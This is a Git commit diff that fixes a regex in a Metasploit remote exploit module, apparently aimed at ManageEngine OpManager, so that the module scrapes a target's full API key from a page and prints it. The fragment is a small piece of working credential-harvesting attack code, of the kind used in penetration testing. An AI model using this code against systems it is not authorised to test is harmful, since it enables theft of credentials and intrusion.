Missing regex '+', readding so we get full API key.
This commit is contained in:
parent
b02719e795
commit
14f0409c6c
|
@ -120,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
})
|
})
|
||||||
|
|
||||||
if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/
|
if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9]+)"/
|
||||||
api_key = $1
|
api_key = $1
|
||||||
print_status("Retrieved API key [ #{api_key} ]")
|
print_status("Retrieved API key [ #{api_key} ]")
|
||||||
else
|
else
|
||||||
|
|
Loading…
Reference in New Issue